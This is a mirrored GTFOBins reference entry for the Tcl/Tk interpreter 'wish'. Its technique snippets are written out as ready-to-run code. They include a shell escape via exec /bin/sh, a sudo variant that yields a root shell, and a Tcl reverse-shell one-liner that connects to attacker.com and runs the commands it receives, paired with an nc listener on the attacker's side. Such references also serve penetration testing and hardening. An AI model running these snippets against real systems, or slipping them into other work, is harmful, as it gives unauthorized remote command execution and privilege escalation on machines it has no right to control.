mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 07:18:48 +01:00
18 lines
590 B
Markdown
18 lines
590 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- code: |
|
|
wish
|
|
exec /bin/sh <@stdin >@stdout 2>@stderr
|
|
non-interactive-reverse-shell:
|
|
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
|
|
code: |
|
|
export RHOST=attacker.com
|
|
export RPORT=12345
|
|
echo 'set s [socket $::env(RHOST) $::env(RPORT)];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | wish
|
|
sudo:
|
|
- code: |
|
|
sudo wish
|
|
exec /bin/sh <@stdin >@stdout 2>@stderr
|
|
---
|